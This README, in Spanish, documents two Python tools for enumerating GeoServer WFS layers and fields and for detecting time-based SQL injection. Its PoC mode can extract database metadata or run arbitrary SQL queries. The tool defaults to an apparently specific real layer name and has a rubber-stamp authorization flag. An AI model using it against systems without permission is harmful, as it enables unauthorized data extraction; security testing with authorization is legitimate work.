
Scripts de Python para inventariar endpoints WFS de GeoServer y verificar vulnerabilidades de inyección SQL basadas en tiempo en PostGIS/GeoTools, con un modo PoC dedicado para pruebas autorizadas.
Este repositorio contiene dos scripts de Python para la investigación de endpoints WFS de GeoServer.
wfs_inventory.pyPropósito: Inventariar capas, campos XSD y valores WFS, así como verificar candidatos opcionalmente mediante una comprobación basada en tiempo.
Ejemplos de ejecución:
python3 wfs_inventory.py --url https://HOST --valid-fields 4
python3 wfs_inventory.py --url https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5 --candidate-scope auto --timing-result-type auto
python3 wfs_inventory.py --url https://HOST --layer namespace:layer --sleep 1 --confirm-sleep 5 --valid-diagnose output.txt
geoserver_sqli_working.pyPropósito: Punto de entrada combinado para el inventario, así como un modo PoC separado.
Ejemplos de ejecución:
python3 geoserver_sqli_working.py --target https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5 --query "SELECT current_database()"
Nota importante: La comprobación basada en tiempo y el modo PoC solo deben utilizarse contra sistemas para los que exista una autorización expresa de prueba. El modo de inventario normal utiliza exclusivamente operaciones WFS regulares.
Opcionalmente, hacerlos ejecutables:
chmod +x wfs_inventory.py geoserver_sqli_working.py
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4
La ruta estándar /geoserver/wfs se añade automáticamente. Por tanto, las
siguientes indicaciones son equivalentes:
https://HOST
https://HOST/geoserver
https://HOST/geoserver/wfs
En caso de una instalación diferente, debe especificarse la ruta WFS completa.
Solo para sistemas expresamente autorizados:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1
Durante la comprobación aparece una medición por candidato en stderr:
[sleep-check] phase=screen typeName=namespace:layer field_name=FIELD resultType=hits baseline=0.120s test=1.128s delta=1.008s passed=true
[sleep-check] phase=confirm typeName=namespace:layer field_name=FIELD resultType=hits requested=3s baseline=0.118s test=3.125s delta=3.007s vulnerable=true
Un screen superado no es aún un hallazgo positivo. Solo si la segunda medición, más larga, también se supera, se emite un bloque de parámetros.
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1 \
--valid-diagnose output.txt
--valid-diagnose FILE activa automáticamente el diagnóstico detallado y lo
escribe en el archivo especificado.
El modo estándar auto procesa la información WFS en este orden:
GetCapabilities se abre una vez:
/geoserver/wfs?service=WFS&acceptVersions=2.0.0&request=GetCapabilities
La respuesta XML se transmite en streaming. En cuanto se encuentra un
FeatureType/Name, queda fijado el siguiente typeName.
Para esta capa se ejecuta inmediatamente DescribeFeatureType con
version=2.0.0.
El script extrae los elementos XSD y selecciona campos String/JSON con nombres similares a ID o numéricos.
El candidato se comprueba según la invocación:
--sleep: los valores de muestra deben ser JSON sintácticamente válido.--sleep N: se miden una consulta de control y una consulta de
comprobación basada en tiempo. La verificación del valor JSON se omite.El resultado se emite inmediatamente y se vacía el buffer.
Solo después se lee el siguiente typeName de la respuesta
GetCapabilities en curso.
De este modo, no es necesario procesar completamente una respuesta
GetCapabilities grande antes de que aparezca el primer resultado.
Sin --sleep, el modo automático considera por defecto campos String/JSON con
nombres similares a ID o numéricos.
Con --sleep, --candidate-scope auto utiliza en cambio todos los campos
simples que no sean de geometría. El tipo XSD y el patrón de nombre de ID ya no
bloquean la comprobación de tiempo. Esto evita falsos negativos en tipos XSD
numéricos, de fecha/booleano o específicos del fabricante.
Los patrones de nombre reconocidos incluyen, entre otros:
id
*_id
*_fid
nr_*
*_nr
*nummer*
fid
uuid
guid
key
objectid
En la comprobación basada en tiempo, el nombre del campo debe ser además un
identificador simple con el formato [A-Za-z_][A-Za-z0-9_]*.
Sin --sleep, se comprueba si los valores observados pueden interpretarse
sintácticamente como JSON. Por eso, por ejemplo, la cadena "383205" también
se considera candidata, porque su contenido representa un número JSON válido.
Esta comprobación es una heurística y no una prueba de vulnerabilidad.
Con --sleep 1, solo decide la medición de tiempo. Un candidato se considera
positivo por defecto si la consulta de comprobación requiere al menos un 70 por
ciento adicional del tiempo de sleep solicitado en comparación con la consulta
de control. --timing-result-type auto comprueba primero resultType=hits y,
en caso de resultado negativo, posteriormente resultType=results.
Las mediciones provisionalmente positivas se confirman obligatoriamente con un
tiempo de sleep más largo. Sin un --confirm-sleep explícito, el script usa
max(3, --sleep * 3), limitado a 10 segundos. Así, un único pico de latencia
con --sleep 1 ya no conduce a vulnerable=true.
La salida estándar contiene un bloque por capa válida:
typeName=namespace:layer
field_name1=FIELD_A
parameter_string1=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_A
field_name2=FIELD_B
parameter_string2=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_B
parameter_stringN contiene el endpoint WFS normalizado y los valores
adecuados para --typename y --field_name.
--valid-fields N cuenta bloques de capas, no campos individuales. Si existen
menos de N capas válidas, se sigue investigando el catálogo restante.
Con --max-layers se puede limitar el tiempo máximo de ejecución.
Las opciones --diagnose o --valid-diagnose FILE añaden, entre otros:
GetCapabilities utilizada,DescribeFeatureType,GetFeature generada yEjemplo:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 10 \
--valid-diagnose diagnose.txt
python3 wfs_inventory.py \
--url https://HOST \
--mode layers
Limitar a un namespace:
python3 wfs_inventory.py \
--url https://HOST \
--mode layers \
--namespace fink
python3 wfs_inventory.py \
--url https://HOST \
--mode fields \
--layer namespace:layer
Cada campo se emite como objeto JSON con nombre, tipo XSD, nillable,
id_candidate y usable_property.
python3 wfs_inventory.py \
--url https://HOST \
--mode values \
--layer namespace:layer \
--field FIELD_A \
--field FIELD_B \
--max-features 100 \
--format jsonl \
--output values.jsonl
Exportar todas las propiedades:
python3 wfs_inventory.py \
--url https://HOST \
--mode values \
--layer namespace:layer \
--all-properties \
--max-features 100
Con --unique, las combinaciones idénticas de valores de campo seleccionados
se emiten solo una vez.
wfs_inventory.py| Parámetro | Estándar | Significado |
|---|---|---|
--url URL | requerido | Host, base GeoServer o endpoint WFS completo |
--mode auto|layers|fields|values | auto | Modo de operación a ejecutar |
--layer NAMESPACE:LAYER | – | Limitar el modo automático a un feature-type; requerido para fields y values |
--namespace PREFIX | – | Considerar solo capas de este prefijo de namespace |
--capabilities-file FILE | – | Usar una respuesta GetCapabilities local en lugar de una descarga |
--field NAME | repetible | Propiedad a exportar en el modo values |
--all-properties | desactivado | Exportar todas las propiedades en el modo values |
--unique | desactivado | Suprimir combinaciones de valores de campo duplicadas |
--page-size N | 500 | Features por página GetFeature; rango 1 a 5000 |
--sample-size N | 5 | Valores de muestra por capa para la verificación de sintaxis JSON; rango 1 a 100 |
--sleep SECONDS | 0 | Activar verificación basada en tiempo; permitidos 0 o 1 a 10 segundos |
--candidate-scope auto|id|all | auto | Selección de candidatos; auto usa campos ID sin sleep y todos los campos no geométricos con sleep |
--timing-result-type auto|hits|results | auto | Ruta de consulta de la comprobación de tiempo; auto prueba hits, luego results |
--sleep-threshold RATIO |
geoserver_sqli_working.py puede invocar directamente la función de inventario.
En cuanto se especifica --valid-fields, se ejecuta exclusivamente el
inventario y el programa finaliza después.
python3 geoserver_sqli_working.py \
--target https://HOST \
--valid-fields 4 \
--sleep 1 \
--valid-diagnose output.txt
Internamente se pasan los siguientes parámetros a wfs_inventory.py:
--target -> --url
--valid-fields -> --valid-fields
--valid-diagnose -> --valid-diagnose
--sleep -> --sleep
--candidate-scope -> --candidate-scope
--timing-result-type -> --timing-result-type
--sleep-threshold -> --sleep-threshold
--confirm-sleep -> --confirm-sleep
Sin un --sleep explícito, la comprobación basada en tiempo permanece
desactivada en el modo de inventario.
Solo para sistemas de prueba expresamente autorizados:
python3 geoserver_sqli_working.py \
--target https://HOST/geoserver/wfs \
--typename namespace:layer \
--field_name FIELD \
--sleep 5
En el modo PoC, la ruta de destino no se normaliza automáticamente. Aquí debe especificarse el endpoint WFS completo.
El modo ejecuta primero una prueba de baseline/sleep, luego prueba las
variantes de oracle basadas en tiempo existentes y, tras una confirmación
exitosa, lee por defecto metadatos de servidor/base de datos. Con --query
puede especificarse en su lugar una consulta escalar propia.
El modo PoC desactiva actualmente la verificación de certificado TLS internamente. Para un inventario puro, debe preferirse
wfs_inventory.py, ya que allí TLS se verifica por defecto.
geoserver_sqli_working.py| Parámetro | Estándar | Significado |
|---|---|---|
--target URL | requerido | Host de destino o endpoint WFS; en modo PoC usar ruta WFS completa |
--typename NAME | fink_bku:fink_meta_mitte_suedwest | Feature-type para el modo PoC |
--field_name NAME | requerido en modo PoC | Nombre de campo XSD simple para jsonArrayContains |
--field-name NAME | Alias | Alias para --field_name |
--valid-fields N | – | Activar modo de inventario y detenerse después de N capas válidas |
--valid-diagnose FILE | – | Escribir informe de inventario detallado en FILE; requiere --valid-fields |
--sleep SECONDS | PoC: 5, inventario: desactivado | Duración del sleep del modo respectivo |
--candidate-scope auto|id|all | auto | Selección de candidatos en modo de inventario |
--timing-result-type auto|hits|results | auto | Ruta de consulta de tiempo en modo de inventario |
--sleep-threshold RATIO | 0.7 | Umbral de tiempo en modo de inventario |
--confirm-sleep SECONDS | automático | Sleep de confirmación en modo de inventario |
--query SQL | – | Consulta escalar propia en modo PoC |
--debug | desactivado | Mostrar condiciones, tiempos de ejecución y decisiones en modo PoC |
El modo automático puede generar JSON Lines en lugar de bloques de texto:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 10 \
--report-format jsonl \
--output report.jsonl
Con --diagnose, cada registro contiene además URLs, metadatos de candidatos,
valores de comprobación y URLs GetFeature específicas de campo.
Usar proxy:
python3 wfs_inventory.py \
--url https://HOST \
--proxy http://127.0.0.1:8080 \
--valid-fields 4
Confiar en CA de proxy propio:
python3 wfs_inventory.py \
--url https://HOST \
--proxy http://127.0.0.1:8080 \
--proxy-ca proxy-ca.pem \
--valid-fields 4
Desactivar verificación TLS para un sistema de prueba autorizado:
python3 wfs_inventory.py \
--url https://HOST \
--insecure \
--valid-fields 4
--proxy-ca y --insecure no pueden usarse conjuntamente.
Con respuestas GetCapabilities grandes ayudan las siguientes opciones:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--max-layers 100 \
--sample-size 1 \
--timeout 10 \
--retries 0 \
--delay 0
Notas:
GetCapabilities se solicita solo una vez y luego se transmite en streaming.--valid-fields 4 finaliza el escaneo solo después de cuatro capas válidas.
Si existen menos coincidencias, la búsqueda continúa hasta el final o hasta
--max-layers.--sample-size 1 reduce el esfuerzo de la heurística JSON.--timing-result-type auto,
tras un resultado negativo de hits, se ejecutan además dos consultas
results.--candidate-scope id reduce el número de consultas de tiempo, pero puede
omitir campos vulnerables con otros nombres.--namespace y --start-layer-index pueden limitar adicionalmente el
espacio de búsqueda.The read operation timed out--timeout si el servidor responde lentamente.--retries 0 para evitar reintentos largos.--max-layers y --namespace.--sample-size 1.--sleep, los candidatos deben superar la verificación XSD/nombre según
--candidate-scope y la verificación de sintaxis JSON.--sleep, solo los candidatos confirmados temporalmente se emiten como
bloque de parámetros; las mediciones negativas aparecen como [sleep-check]
en stderr.--max-layers.Cannot do natural order without a primary keyPara la primera página GetFeature, el script no envía startIndex=0, ya que
algunas capas GeoServer/JDBC sin clave primaria fuerzan una ordenación natural
con ello. Al exportar páginas adicionales, dicha capa puede requerir no
obstante una clave primaria o una ordenación soportada por el servidor.
schema does not define ...TypeEl script considera tanto el habitual <LayerName>Type como un complexType
diferente, referenciado en el elemento de capa XSD global o anónimo. Si el
error persiste, debe examinarse la respuesta DescribeFeatureType
correspondiente con --diagnose.
El mensaje de error OWS completo se emite en stderr. Las causas frecuentes
son propiedades no soportadas, especificaciones de paginación del servidor o
una configuración de fuente de datos específica de la capa.
python3 wfs_inventory.py --help
python3 geoserver_sqli_working.py --help
0.7 |
| Proporción requerida del tiempo de sleep; rango 0.5 a 1.0 |
--confirm-sleep SECONDS | 0/automático | Sleep de confirmación; 0 usa al menos 3× el primer tiempo de sleep, rango 1 a 10 |
--start-layer-index N | 0 | Omitir las primeras N capas transmitidas |
--max-layers N | 0 | Procesar como máximo N capas; 0 significa ilimitado |
--valid-fields N | 0 | Detenerse después de N bloques de capas válidas; 0 significa ilimitado |
--valid N | Alias | Alias retrocompatible para --valid-fields |
--max-features N | 0 | Detenerse después de N features en el modo values; 0 significa ilimitado |
--format jsonl|csv|text | jsonl | Formato de salida en el modo values |
--output FILE | stdout | Escribir informe o valores en un archivo |
--report-format blocks|jsonl | blocks | Formato del informe automático |
--diagnose | desactivado | Añadir URLs, tipos, indicadores de selección y estadísticas de comprobación |
--valid-diagnose FILE | – | Activar diagnóstico y escribir directamente en FILE |
--delay SECONDS | 0.1 | Pausa entre pasos de resultado/comprobación |
--timeout SECONDS | 30 | Timeout por solicitud HTTP |
--retries N | 2 | Reintentos después de timeout o error de red; rango 0 a 10 |
--proxy URL | – | Proxy HTTP(S), por ejemplo http://127.0.0.1:8080 |
--proxy-ca FILE | – | Certificado CA PEM para confiar en un certificado de proxy |
--insecure | desactivado | Desactivar verificación de certificado TLS |
--authorization TEXT | I_AM_AUTHORIZED | Confirmación de seguridad; debe ser exactamente I_AM_AUTHORIZED |